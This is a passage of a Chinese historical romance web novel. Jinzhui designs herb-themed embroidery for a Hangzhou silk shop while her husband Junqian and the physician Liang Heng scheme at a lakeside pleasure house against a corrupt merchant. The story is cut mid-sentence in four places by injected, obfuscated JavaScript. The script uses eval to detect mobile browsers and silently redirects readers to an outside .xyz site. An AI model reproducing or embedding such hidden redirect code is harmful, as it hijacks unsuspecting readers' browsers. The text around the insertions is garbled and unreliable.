金坠将信将疑,环顾四下果不见君迁踪影,忙拔腿去寻他。老管事谢翁外出办事未归,宅子里只有几个杂役婢子,行色匆匆,一路高呼郎君分头苦寻。金坠也急起来,各个角落都寻了一遭,翻箱倒柜,仍是一无所获,只得往后院中去寻。 日落月升,乌鹊夜啼,小园幽深。竹林假山皆掩映于苍白的弦月之下,疏影迷离,凭添凄清。金坠独自徘徊,不觉走到小荷塘畔的假山堆前,倏忽却在那幽暗石洞中瞥见一簇鬼火,继而又是个白影—— 她吓了一跳,后退几步,定睛望去,不由冷笑一声。蹑步上前,俯身钻进那仅容得下两个人的假山洞中,在他身后静立良久。见无甚反应,遂伸手往他肩上一拍。 君迁骇然回首,手上正在看的书本掉落在地。在月光下认出她来,如释重负,终于恢复了平素波澜不惊的神情。 金坠盯着他:“你在这里做什么?” “我……来乘凉。”君迁轻语,“外面有些热。” “热么?热还生火?” 金坠乜斜着他。君迁身后的岩石上有一小座木柴堆,她方才瞥见的“鬼火”正从这里幽幽蹿出。柴火已燃尽,在他们说话之时猝然熄止。君迁回身将冒着轻烟的余烬拨灭,拾起掉在地上的书。 “我在看书。” “好个石火梦身秘境。”金坠一哂,“热便回屋吧,屋里凉快,还有灯火,岂不更适合读书?” 她说着俯身钻出石洞,却见他纹丝不动,蹙眉道:“怎么了?” 君迁低低道:“外面……有什么吗?” 金坠四下顾盼,幽声道:“有石头假山、竹子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100937|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桃花、荷塘亭台,还有一轮弯月儿。” 君迁皱眉:“你确定?” “不相信我,你自己出来看就是!我先走了。” 金坠佯作转身,果听君迁疾声唤道:“等等!” 她抿唇一笑,回眸见他恋恋不舍地从石洞中出来。二人并肩穿过小园,慢慢往屋中走去。春夜静谧,月光如水。挟着草木芳香的微风拂面而过,清幽袭人。走了几步,金坠侧目问他: “还热么?” 君迁一言不发,疾步往前走去。金坠从身后瞥见他衣袂上有一片污迹,揶揄道: “你要乘凉读书,也不寻个清净的去处,在那脏兮兮的假山洞里呆着,身上都蹭着灰了!” 君迁抬袖一瞥,只道:“那不是灰,是血。” 金坠一惊:“你受伤了?” 君迁摇摇头:“今日在药局替病人清创时染上的。” 金坠松了口气,讥诮道:“你说你这人不怕蛇虫八脚,见了血污脓疮也面不改色,这世间还有你害怕的东西吗?” 她说完轻叹了一声,话锋一转,幽声道: “我曾认识个人,和你相反,爱洁近乎成癖,一日要沐浴两回,周身总是一尘不染,就像从云上走下来的一般……若要他到这黑魆魆的石洞中来,杀了他也不肯的。” 君迁岂不知她所言之人是谁,踯躅片刻,淡淡道: “我亦有洁癖,在心不在身。行医之人若在意外在脏污,便什么都做不成了。” 他语毕转身望向金坠,微微一哂: “别误会——我虽不修边幅了些,却也不会忘了沐浴的。” 回到屋中,众人见君迁安然无恙,如释重负。又恐他余悸未消,皆装作无事发生,照常准备用夕食。金坠昨日刚到杭州便独守空席,今日饭桌上人总算齐了。夫妻二人对坐案前,各自闷声用餐。 吃了半晌,金坠忽想起一事,笃定心思,遂舀了一碗银耳桃羹双手递给君迁,笑语晏晏道: “这个喝了清凉,夫君请用!” 君迁瞥她一眼,宠辱不惊道:“今日胃口欠佳,娘子若想喂我毒药,烦请改日吧。” 金坠撇撇嘴:“你怎么把我想得那么坏呀?毒死你对我有什么好处?” 君迁冷冷道:“只恐大有好处。” “那倒是。”金坠讪笑一声,“算了,夫妻之间有话直说,我也不献殷勤了——能向你借一样东西么?” 君迁一怔:“什么?” 金坠严肃道:“我记得你那堆医书药典之中,有部《本草图经》吧?我想借来看看。” 君迁面露警惕:“你做什么?” “就是闲着无聊,想学点医药知识,免得连山茱萸果都不认识,闹了笑话。”金坠庄重承诺,“你放心,我是真心求学,绝不会破坏你的宝贝书!” 君迁皱了皱眉:“真的?” “骗你作甚?”金坠撇撇嘴,“再说我可是你娘子。就算我不小心弄坏了你的书,你就不能迁就迁就我?” 君迁反问:“我迁就你,几时轮到你迁就我?” 金坠正色:“我以为你是个耿直的人,不喜欢被迁就呢。” 君迁不置可否,问道:“那你能对我好一些么?” “……你要我怎么对你好?” 金坠装作听不懂,托起腮来冲他眨眨眼。君迁不声不响,只用一双清凛凛的眼睛回望着她。她被他盯得有些发怵,撇过脸去嗔道: “一本书而已,你不肯借就算了!” 说着故作幽怨,埋头啜着桃羹,唉声叹气,片刻听君迁道: “一会儿拿给你。” “多谢!” 金坠称心如意,抬眸一笑,只见君迁仍定定地望着自己。四目相会,一时无言。金坠仓促低下眉眼,装作整理衣衫,借机扯开话题: “你看我这件新衣裳是不是很好看?今日罗娘子带我去武林门绸市买的,价值不菲呢——你若不嫌,到时就折成聘金还你。” 她轻抚着那薄如蝉翼的朱绢褙子。君迁闻言若有所思,认真问道:“是在哪家买的?” “乔氏绣坊——她家来头不小,据说掌柜娘子的夫婿可是织造院的官商呢。你问这个作甚?” “没什么,只是觉得这颜色与你很是相宜。” 君迁似笑非笑地眄了她一眼。不待她回应,款款起身道: “我去取书,娘子慢用。” 金坠忽觉颊上微有些发烫,忙端起盏中桃羹大口喝起来。银耳莹白,桃瓣殷红,于唇舌间融作甜蜜清冽的甘露,似绵绵春霖落在她心田深处。她连饮数口,方觉清凉下来,搁盏冲着他的背影低嗔: “阴阳怪气!” 31.纨绔子 翌日午时,武林门“锦绣林”绸市前照例行人如海,丝绢如云。穿过整街绮罗丛,乔氏绣坊如万艳丛中一簇雪,亭亭静立于商市尽头。门庭并不招摇,却不乏商客进出,多数是慕名而来。 掌柜乔氏闺名隽娘,年轻时便是名噪杭城的绣师。她自幼随江南各名门名师学艺,精于刺绣,亦擅缂丝,二十出头便白手起家开了这间绣坊,专营手工丝绣衣绢,出品精丽,重金难求。其夫张瑞本是个蚕农出身的小本生意人,因供货之缘,有幸娶了这掌柜娘子;此后顺风顺水,生意愈做愈大,乃至攀上了杭州织造院的高门,摇身一变成了远近闻名的张大官人。 家业大了,乔隽娘并未闲下来。家中虽有数十商铺,仍十年如一日亲自来这小店坐镇。掌柜算账皆亲力亲为,对待顾客定制的绣品亦一丝不苟,更从不以其夫在织造院的官差自夸,深得买卖各方交口赞誉。 此刻,人烟稠密的锦绣林中,一位青年正隔街远望着乔氏绣坊的店门。不是别人,却是沈君迁。 自从与苏通判商讨了施济局筹建事宜,君迁日间在杭州药局理事,晚间回到家中便苦思冥想,对着自己来杭前写下的那份治要方略叹息。直到昨晚饭桌上,听金坠无意谈起来武林门绸市买了新衣,获悉此间掌柜正是那张大官商的夫人,顿如拨云见日,思索一夜,次日午休时便独自来到这乔氏绣坊外。 施济局选址遭织造院官商与王知州等勾结侵占,苏夔碍于其杭州通判身份不好出面,此事一度寸步难行。君迁初来乍到更无人脉,思前想后,只得由此入手,预备先在这官商娘子的店铺前探听虚实,看能否筹得转圜之法。 他本就不善此事,独自在对街站了良久,只见往来人群进进出出,无从辨别身份。又恐贸然进店会打草惊蛇,不禁焦灼起来。正疑心自己在守株待兔,忽听见一个熟悉的声音从路口传来——风流倜傥,打情骂俏,正是那位药局新同僚梁恒。 君迁循声望去,只见那梁医正一袭绮襦迤逦而来,左右手各携了个佳人,珠环玉绕,烟视媚行,一瞥便知是烟花女子,倒与这锦绣之地十分相宜。 素闻那梁恒虽出医门,品行做派却同那些膏粱纨绔一般,于风月情事十分专长,寻花问柳则是家常便饭,不想在此被他撞见。眼见他们正朝自己而来,君迁唯恐惹出不必要的误会,忙躲在巷间藏起身形。片刻,梁恒携了那两个女子经过,只听得莺声燕语,嘤嘤嗔道: “梁郎今日带我们出来逛街,若是被你家里那位撞见,回头不知怎么罚你呢!” “不过是个悍妒妇人,仗着自己嗓门儿高便无法无天,我何曾睬过她?” “可前回还听说,梁郎去西泠同心楼被她知道,罚你跪了一夜搓衣板,连你们那位苏通判来替你求情都没用呢!” “是呢,自从这事儿之后,姊妹们都以为你再不会来看我们了呢!” “……讹传,纯属讹传!姊姊们休听胡言,梁某行得正坐得端,既允诺带你们来买衣裳,纵是天塌了亦不会食言!一会儿进了店,姊姊们尽管挑中意的穿戴便是!” “乔隽娘家的东西金贵,平日可不舍穿哩!就凭梁医正这点儿俸禄,买得起么?” “若指着那点儿俸禄过活,不如死了算了!实不瞒姊姊们,前日刚把老家田庄的佃租收上来,若还不够,梁某在杭州各行亦有不少阔绰的朋友,纵是去借亦不敢亏待了姊姊们!” 梁恒涛涛说着,左拥右抱涌进乔氏绣坊。君迁闻言,心生一计,遂从巷间走出,径直来到店铺前。半晌待他们出来,款款上前,朗声唤道:“梁医正。” 梁恒一怔,转身便跑,惹得身旁美娇娘粉面含嗔道:“跑什么跑,见鬼啦?” 君迁料到他这番窘态,并不去追,只提高声量,直呼其名:“梁医正——梁恒!” 此言一出,过往路人纷纷侧目。梁恒迫不得已,只得回身讪笑道: “街上人多,不曾一眼认出沈学士来,见谅见谅……” 君迁从容向他走去:“我倒一眼便认出梁医正了。” “都怪我模样出众!”梁恒悻悻自嘲,旋即给他递了个眼色,低声道,“你,你没看见什么吧……” 君迁未待他说完,正色道:“我什么都看见了。” “就是,人家都瞧见了,看你往哪儿跑!” 二位佳人见状,吃吃地走上前来看笑话,惹得梁恒颇为羞恼,回头低斥道:“你们还多嘴!” “怎么,今日不是你梁大官人掷了豪言要带姊妹们来买新衣裳么,怎么敢做不敢认?” “这位郎君看模样倒是个正人君子,若是见到他家娘子,切莫忘将今日所见如实告知呢!我们走,让他自个儿丢脸去!” 二位佳人语毕,穿着刚买的新衣裳翩然而去。梁恒颜面尽失,上前拽着君迁哀求道: “沈学士,医道尊严同侪相济,你可不能弃我于不顾!今日之事万望保密……” “我非好事之人,不会多言。”君迁话锋一转,“然内子与令正交好,若将此事告知于她,恕我爱莫能助。” 梁恒一凛:“那你别同你娘子说不就得了!” 君迁淡淡道:“内子与我曾有约定,凡事不得相瞒,恕我不可违约。” “你……!你这不是存心要坑害我么!” “素闻梁医正与令正伉俪情深,一时误解,想必自可破镜重圆。” “这误解不就是你造成的么!” 梁恒走投无路,一把将君迁拉到巷中,低声下气道: “怪我前回在西泠同心楼玩双陆棋输了,无奈带她们来买几件衣服,清清白白,这算哪门子事儿?沈学士,我家那个母药叉的威名你不是不知,什么河东狮胭脂虎,到她面前都成了病猫儿!念在同僚一场,还请替我保密则个!你开什么条件都行!” “梁医正此言当真?” “君子一诺千金,只要不是叫我去杀人放火,悉听尊便!这点儿心意你先收下……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说着转身便走。梁恒见他生气,一把拽住他道: “哎,且慢且慢!我有言在先,答应你便是!梁某在那同心楼虽算不上什么角色,也有幸认识几位头牌,说几句好话托她们设个酒局便是——想那织造院的大官人们再忙,断不会误了西泠名伎的邀约!” 君迁闻言,正合心意,遂回身行礼道:“多谢梁医正襄助。” “沈学士不必多礼,我欠你的!” 梁恒无奈地努努嘴,忽地凑近君迁,意味深长道: “这儿没别人,你同兄弟说实话,去西泠同心楼当真只是为了给你家娘子定生辰礼?” 君迁微微一哂:“梁医正以为呢?” 梁恒敛容正色,直勾勾盯了他半天,朗声笑道: “不敢不敢,沈郎翩翩君子,是我小人之心了。兹事体大,我定尽心,三日之内,请君静候佳音!” 君迁颔首言谢,兀自走出小巷。梁恒忙追上前去,在他身后连连疾呼道: “你答应我的事儿切莫忘了——医道尊严、医道尊严呐!” 32.锦绣缘 自从无意拜访了乔氏绣坊,嗅得商机,金坠如拨云见日,一直苦苦寻求的生财之道也有了眉目——这可是她的拿手绝活。 当晚回到房中,她便翻开那部问君迁借得的《本草图经》,秉烛研读至深夜。次日卯时即起,借偶染微恙之由闭门谢客。独自躲在屋里,一头摊开绣布针丝,一头摊开那草药图鉴,对照着飞针走线,谁喊也不出去。 君迁见惯她耍性子,不来自讨没趣。宛童恐她魔怔,跑来问东问西,金坠头也不抬道: “莫扰,我正给自己攒赎身钱呢。” 言毕,想起压在箱底的那纸画了血押印的和离契据,手上一颤,将绣针狠狠往绢布上戳去。 如此三日三夜,不动如山,寝食皆废。第四日子时刚过,金坠终于搁了针黹,长叹一声,细细欣赏着绣案上的劳苦成果。 一针一线,一花一草,细缕密缝,皆是她的心血凝成,只为偿还那盒价值连城的山茱萸果。 借她夫君吉言:娘子决心可嘉,定可速掘财道,早偿欠款;一别两宽,各生欢喜。拜他所赐,她刚到杭州几日便有了生财之道,不可不谓地利人和。江南风水宝地名不虚传,如今她倒有兴致去游西湖了。 金坠冷笑一声,收好绣作,将案头那本陪伴三日的《本草图经》重重合上,心满意足地睡觉去了——书中自有黄金屋,古人诚不我欺。 翌日清晨,甫一开市,金坠便携了心血绣作往武林门绸市而去。为时尚早,街市上人还不多,门可罗雀,更衬得街角的乔氏绣坊遗世独立。 乔隽娘刚到店不久,正在柜案前同伙计交代事宜。见了今日首位来客,讶然唤了声“金娘子”,上前盛情相迎。金坠见掌柜娘子还记得自己,如释重负,与她寒暄片刻,方才赧然道: “实不相瞒,我今日并非是来买衣裳的……乔娘子可便借步说话?” 隽娘也不多问,引着金坠往后堂中去。亲自为她烹了茶,又不疾不徐地熏上香,请她入座说明来意。金坠见她这般庄重,心中不禁紧张。深吸一口气,款款说道: “前日与罗娘子来贵店试衣,承蒙款待。听闻乔娘子苦于绣品花样不得新意,我正好略通此技,遂自不量力,回去绣了些纹样,带来请乔娘子过目。” 金坠说着,取出精心而备的绢帕大小的各式绣图,逐一陈列在案头。 “我绣的这些图样并非寻常花草,皆是荒野土生的珍稀本草,许多业已湮灭于世,不可多见。” 隽娘一愣:“本草?” “这些草植多产自崇山荒野,姿形各异,虽是药草,绣来观赏亦是极佳。前回听乔娘子说,买主定制绣衣是为端午家宴——五月五素有斗百草、祛五毒之俗,绣百草纹于衣饰之上,可御疾攘邪,寓意美满,想必正合宜。” 金坠解释完毕,指着一幅绣图上小白鸟似的花草纹饰道: “这是岭南所产白鹤草,花如鹤形,独具仙姿。效用同灵芝,入药可清热解毒,防治疟疾。” 她一面介绍,一面将那绣作递给隽娘欣赏。片刻又取出一幅道: “这是漠北特产的苁蓉,又名荒漠金笋,姿态奇丽,药效媲美百年人参,是北地最为名贵的本草,常做御贡。” 隽娘双眸一亮,轻抚着绢布上的金笋绣纹,徐徐点了点头。金坠又取来一幅花绣递上: “这是西域特有的郁金香,花形秀雅,金贵万分,是贵族衣饰上的御纹。茎叶亦可入药,有化湿辟秽之功效。然因栽植条件苛刻,至今不曾舶来。” 隽娘闻言,指着那绣图上的西域金葩笑道: “这种花儿我倒是听说过,可娇贵了,市舶司曾想引进宫里种,都没法成活,看来也只得绣下来观赏了——这又是什么?” 说着主动从案角取来一幅株形婀娜的药草图。金坠一愣,仓促道: “这是苗疆产的一种毒草,寓意不佳,我绣来练手的,这个就罢了……” 隽娘却好奇道:“苗疆毒草?叫做什么,有何毒性?” 金坠无奈,只得如实说道: “此药人称定年草——据传汉人商贾停驻苗疆时,常哄骗当地女子与之交好。苗女恐其始乱终弃,便会在情郎离去前诱其饮下此药,约定某年某日重回。若对方如期归来,便暗中给他解药。如若男子食言未归,至期便会肝肠寸裂,毒发而亡。是以名曰定年草。” 隽娘惊叹:“世上竟有这等好东西!我倒是头回听闻呢。不知金娘子是从何处获悉这些奇珍异草?” 金坠微哂:“外子身出医门,以钻研本草药理为业,我也耳濡目染。这些都是从他收藏的本草图鉴上看来的。” 隽娘笑道:“原是如此!尊夫既是杏林中人,想必金娘子专注针黹之余,亦精通针艾之道吧?” 金坠苦笑:“我于医道一窍不通,至多在纸上绣两针,替人扎针可就不行了。” 隽娘复又一幅幅认真欣赏起金坠的绣作来,颔首赞叹道: “如今市面上的花草绣大多是些牡丹梧桐,庸脂俗粉,早看腻了。这异色百草绣我倒是头回见,怪新奇的。颜色好看,绣工也精巧!” “这些不过是我赶制的样图,难免粗糙,乔娘子不妨先拿给买主看看,若有什么提议,回头我再修改。” 金坠顿了顿,小心翼翼道:“乔娘子若不嫌我的活计,我也可来店中替你打个下手,加快些工期也好……” “如此甚好!正好我店里有位绣娘归乡探亲去了,我正愁赶不及工期呢。”隽娘爽朗一笑,“不过金娘子绣技精湛,何不自立门户,在我这小店里打下手岂不委屈?” 金坠忙道:“我平日就是绣着玩儿的,久仰乔娘子绣艺冠绝杭城,若能为你打下手,已是我三生之幸了。” 隽娘笑道:“既如此,金娘子开个价码吧。” 金坠一凛,强忍惊喜道:“我不懂行,乔娘子看……” “此番买主共定制了七件绣衣,并鞋帽、绢扇、荷包等绣品数十件,定于五月五前交付。今日已是四月初了,若尽快定下纹样,日夜赶制,一月的工期亦是很紧——金娘子若决意帮忙,恐需颇费时力。不知你的时间是否合宜?” 隽娘说着望向她。金坠一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111024|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应道:“我平日没什么要事,但凭差遣便是!” 隽娘颔首道:“那我明白便将这些绣纹拿去给买主过目,敲定了样式,即刻便可动工缝绣。” 金坠喜不自胜,低低道:“那价码……” 隽娘拨着手指道:“七件绣衣,每件一金,余下数十件鞋帽荷包等小物共计二金,外加工钱一金——我先付你定金三成,余款待货品交付后一并结算,金娘子意下如何?” 金坠一怔:“正好十金?” “正好十金。”隽娘点点头,“金娘子嫌少么?” 金坠忙道:“不少不少!我不过绣了些花纹,哪里值如此高价呢……” 隽娘笑道:“货品有价,创见无价——这些绣作纵较之各大名派出品,亦可称横空出世,我开给你的价码合乎市价,金娘子不必过谦。” 金坠感激道:“乔娘子谬赞……” “我从不谬赞人。”隽娘一哂,“金娘子技艺精湛,又与吴蜀名门绣风迥异,不知师出何派?” 金坠垂眸轻语:“我不曾拜过师,不过是从小随母亲学的绣活,不敢媲美名家。” 隽娘一怔:“那你母亲……” “家母已故世多年了。” 隽娘闻言,面露哀色。正要出言慰藉,忽闻外间足音橐橐,继而传来罗盈袖的疾唤: “坠姊姊,你在么?……大事不好了!” 金坠闻声抬首,但见盈袖如惊鸿一般飞闯进来。隽娘忙问候道:“罗娘子怎么跑得这样急?” “恕我冲撞,事关紧要,也顾不得那么多了!” 盈袖双颊彤红,连连喘息,却顾不得歇上口气,走上前来一把拽住金坠: “坠姊姊我可算找到你了!走,快随我去同心楼!” 金坠一头雾水:“同心楼?那是什么地方?” “你连西泠同心楼都不晓得?”盈袖生瞪着她,“那——西泠桥的苏小小你可晓得?” 金坠一怔:“钱塘名妓苏小小?” 盈袖哼了一声:“这下你晓得那同心楼是什么地方了吧?快走吧,再不走就来不及了!” “什么来不及了?” “捉奸啊!看我都气傻了,忘了说正事!”盈袖懊丧地一跺脚,略略平息下来,肃然道,“我今日一早得到消息,我家那天煞的死鬼又跑去那西泠桥畔的青楼偷腥,还将你家那位也拐去了!” 金坠瞠目结舌:“啊……?” 一旁的隽娘蹙眉道:“行医济世之人,竟也这般……?” “什么行医济世,道貌岸然!倒不如当个混世魔王坦荡!” 盈袖忿忿语毕,恨铁不成钢地冲金坠嗔道: “坠姊姊也是,我早就告诫你,杭州处处花街柳巷,你偏不上心,这下你家那学士郎也被勾走了!” 金坠啼笑皆非,狐疑道:“不会吧?他真有这福报?” “我说你怎么胳膊肘往外拐啊!在他是福报,我们可就是业报了!”盈袖不容分说,狠狠拽过她的手,“坠姊姊快随我去捉奸,看是什么花妖狐媚蛇精勾了他们去!” 33.结同心 杭城孤山之西有古桥名西泠。桥畔青松照水,苍翠幽绝,相传为南朝歌妓苏小小与情郎阮郁对咏结同心之处。有诗为证: “妾乘油壁车,郎骑青骢马。何处结同心?西泠松柏下。” 然而,正与才子佳人话本上的结局相反,才子始乱终弃,佳人思念成疾。西湖冷水葬名花,同心桥边埋香骨。 岁月荏苒,山水犹在,芳冢不复。桥畔青松尽已改植为柳林桃花,一座歌楼于此拔地而起,飞阁流丹,玲珑生姿,名曰西泠同心楼。弱柳夭桃,情意缱绻,引来风流无数;才子佳人,歌吟对咏,还酹西湖风月。更有多情梁苑客,凭一腔怀古热忱寻到此处,总要上楼赋诗作对,言必提苏氏韵事,唯恐那小小芳魂无所归依,要将她召至故地,伴君重游百年后的热闹湖山—— 此情此景,固非昔比,却又有哪样是她生前不曾见过的呢? “沈郎在望什么呢?” 头牌娘子鱼鸢儿进楼上雅厢奉茶,见那新来的客人凭窗独立,正望着窗外湖山出神,不禁曼声询问。君迁回过头来,淡淡道:“没什么。” “我以为你在作诗呢!”鱼鸢儿莞尔来到他身旁,指着窗棂外道,“此间原是小小故居,相传她常在此远眺湖山,凭栏歌咏。以往客人来此,总要立在这窗前望上一望,看看她曾见过的西湖山水,有助于增添诗兴呢。” 君迁退开几步,低眉道:“我不善诗赋。” 鱼鸢儿笑道:“听梁医正说,沈郎对本草情有独钟。俗言草木有本心,君之雅量高致,不必赋诗自可言志传情。” 君迁一时词拙,只问道:“不知梁医正可已到了?” 鱼鸢儿嗔道:“他这人专爱迟到,我再去瞧瞧!沈郎稍坐。” 君迁颔首言谢,复又回身临窗远眺。等了半晌,方闻屋外足音橐橐,回眸便见梁恒那玉树临风的身姿翩然而至,手里檀香扇啪地一合,连连向君迁揖道: “久等久等!不巧路上撞见个熟人,非得拉着我去游船,纠缠半天才肯放了我!沈学士没等急吧?” 君迁蹙眉:“只有你一人?” 梁恒瞥他一眼:“你不也只有一个人么?” 君迁一怔,耐着性子道:“你不是与织造院的张官商约定今日于此会晤么?” 梁恒耸耸肩:“约是约了,人家毕竟是大忙人,一时有事爽约亦是寻常呀。” 君迁如遭雷殛,冷冷道:“梁医正此言何意?” 梁恒却颇为自得,兀自落座,一面呷着鱼鸢儿烹好的上天竺白云春茶,一面徐徐说道:“如实相告吧。张大官人今日不会来了——其实我也从没邀请过他。” 君迁急道:“可你昨日还与我说事已办妥……” 梁恒打断他道:“莫急么!我既答应过你,必会信守承诺。君子之交贵在坦诚,我一向对你推心置腹,不知沈学士对我亦如是否?” “……自然。”君迁低低道。 “那便请君答我一问。”梁恒轩了轩眉,“今日沈学士托我约见张官商来此,当真是为给你娘子定制衣裳么?” 君迁一凛,反问道:“否则呢?” “否则,便如我所料了。”梁恒摇了摇头,直视君迁,“这屋里就你我二人,我也不拐弯抹角了——实不相瞒,你和苏通判私下筹划的那点事情,我早就晓得了!” 说着止了话锋,意味深长地望向君迁。君迁屏息凝神,一言不发,以深海般的沉默回应他的审视。梁恒轻叹一声,复又幽声道: “罢了罢了,一个施济局而已,至于搞得这般剑拔弩张?我本懒得过问,不巧那日在绸市被你撞见。你既不惜设套引我入彀,我也不好再装聋作哑——其实这本是件青史留名的好事,何必如见不得人般藏着掖着?” 他言至此,见君迁有所迟疑,微微一哂道: “沈学士不必紧张。梁某虽不务正业,却分得清黑白利弊,有损医德的事我是干不出的——那王知州和织造院官商勾结也非一两日了,侵地赚黑钱的事儿不知做了多少,也就苏通判和你来了杭州,才敢与他们搏上一搏。筹建施济局好歹是为苍生计,见者有份,我也出一份力便是!” 君迁松了口气,感激道:“多谢梁医正。”须臾忽起一念,复又警惕道,“梁医正此言,确乎发自本心?” 梁恒笑道:“梁某生性愚直,绝非替人做暗桩的料,岂会为了一己私利背弃同僚?何况我本不缺钱,更不缺德!” 君迁犹自沉吟,梁恒见状,悻悻起身欲去:“沈学士若不信我,梁某这就告辞,就当你我今日不曾于这同心楼中会面……” “梁医正留步。”君迁唤住他,“我相信你。” “西湖山水作证,你绝不会错信的!”梁恒临窗远眺片刻,重回席上,复又悠闲地啜着茶。 君迁正色问道:“筹建施济局之事,我只与苏通判一人提及,梁医正从何而知?” “自然是从苏通判那儿知道的啊!”梁恒扬眉一笑,“实不相瞒,今日来此之前,我已与他老人家见过一面,他什么都告诉我了。我同他讲了那日你在武林门绸市给我下套的经过,苏通判还夸你有勇有谋,懂得请君入瓮哩!” “……谬赞。” “你那借口寻得恰好,我差些就入了瓮了!但我断定沈学士清风霁月、誉满杏林,绝不会挟人之短。果不其然也!” 梁恒朗朗言至此,盯着君迁道: “沈学士这擒贼先擒王的魄力,连苏通判都没料到呢!不过依你本意,今日借口请那张大官商来此,单枪匹马的,见了他又打算如何?不会直接苦口婆心劝他把那药王庙让出来建施济局造福于民吧?” 君迁坦言:“苏通判身居殊职,我恐他不便参与此事,无奈出此下策。原备今日暂探听虚实,寻机转圜,再做筹谋。” 梁恒笑道:“就你还探听虚实?那织造院官商是什么人物,什么世面没见过,他探听你还差不多!” 君迁垂眸不语。梁恒一声叹息,敛容道:“沈学士恕我直言——你那点看家本领对付疑难杂症是好,若应付世疾人心可就一无是处了。” 君迁闻言,只戚戚一哂,又听梁恒笑道: “不过你放心,今日我既约你来到这西泠同心楼,就不会让你空跑一遭——我虽没有请来姓张的,却通过关系请了几个他的同行,皆是在这丝绸之府里排得上号的,凤凰山药王庙待建的那家新绸行他们都入了资——当然,那绝不是唯一的一家。” 君迁一凛:“你是想……?” 梁恒点点头:“一捆木柴难折,若是分而折之,便非难事——不妨先从他们下手,只要能劝说这些绸商撤资,那姓张的独木难□□绸行一时半会儿也没法动工。” 君迁蹙眉:“此人倚仗织造院及王知州成势,本地绸商皆仰赖其荫,岂会轻易离散?” “树大必招风,树倒猢狲散,自古如此,做生意的岂会连这点道理都不懂?”梁恒冲他眨眨眼,“具体我都安排好了,一会儿他们来了我来接待,势必晓之以理、动之以情。你沈神医只管在边上陪坐、望闻问切就成!” 君迁见他信誓旦旦,心中虽有疑虑,也不便多问。梁恒又同他絮叨片言,门扉轻启,鱼鸢儿飘然而来,淡淡道: “你等的人来了,且在隔间安顿着呢。” “来得好,我正嫌他们迟到呢!”梁恒笑嘻嘻地望向鱼鸢儿,“鸢姊姊可否……” 鱼鸢儿冷冷扭头:“自己事儿自己办去,我头疼,莫唤我!” 梁恒一怔,急道:“那周大官人和莫大官人指明要听你唱的曲子,好姊姊帮我一回,就当我欠你的!这鸿门宴若没了你可不好办啊……” 鱼鸢儿冷笑:“你欠我的可多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114872|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了去了,西湖水枯了都还不清!” 梁恒不依不挠,纠缠不休。君迁在一旁听得焦心,出言劝他道: “公事要紧,梁医正勿要强人所难了。” 梁恒揪过他道:“你不懂,那几位挑剔得很,非鱼娘子不见。我不得已借了她的芳名才约到他们,她若不肯露面,咱们还谈什么公事呀?” “我又不是苏小小,谁准你随意借我的名头去揽客?他们既来这西泠同心楼里听曲子,就让这里的主人唱给他们听吧,我可奉陪不起!” 鱼鸢儿白了梁恒一眼,自顾自拂袖而去。梁恒呆若木鸡:“这可如何是好呀!” 君迁瞠目道:“你既假人之名,为何不事先与她商议?” “这点儿小事我当她不在话下,谁知她今日突然翻脸,真不知我哪儿得罪她了……” 梁恒哭丧着脸抱怨,却见君迁走出门去,忙拽住他:“你去哪儿?” 君迁道:“去向他们解释。” 梁恒啼笑皆非:“解释什么?谁听你解释?做生意的最讲究信用,人家可都是推了要事来的,你一去解释,咱们的生意可就破产了!” 君迁无奈道:“那怎么办?” “怎么办?难不成真要我把苏小小的魂儿招出来给他们唱曲子?” 梁恒唉声叹气,蓦地灵光一闪,正色对君迁道: “这样吧,我再好生劝劝鱼鸢儿,你趁机到外头巡回一圈,看有哪个头牌娘子这会儿是有空陪客的,先请她们来帮忙暖个场!” 君迁一凛:“为何要我去?梁医正曾说过你在这里颇有人缘吧?” “我……我三番五次来这儿,她们都烦我了!沈学士初来乍到,卖相又好,还是你去合适!” 梁恒满脸讪笑,不待君迁反驳,拽着他跑出门去。径自来到走廊尽头鱼鸢儿房前,叩了两下门便进去了。正要关门,只听君迁扒着门隙低唤道: “你要我去说什么?……我,我不会说!” “哎!这有什么不会说的?你就说是药王真人托你来济世行德,请娘子们结个善缘便是!” 梁恒低嚷了几句,砰得将门合上。君迁被逼上梁山,不得已独自去化缘。深吸一口气,缓缓下楼,还未站稳,便闻燕语莺声,巧笑倩兮,直教人疑心是楼外桃柳成了精。 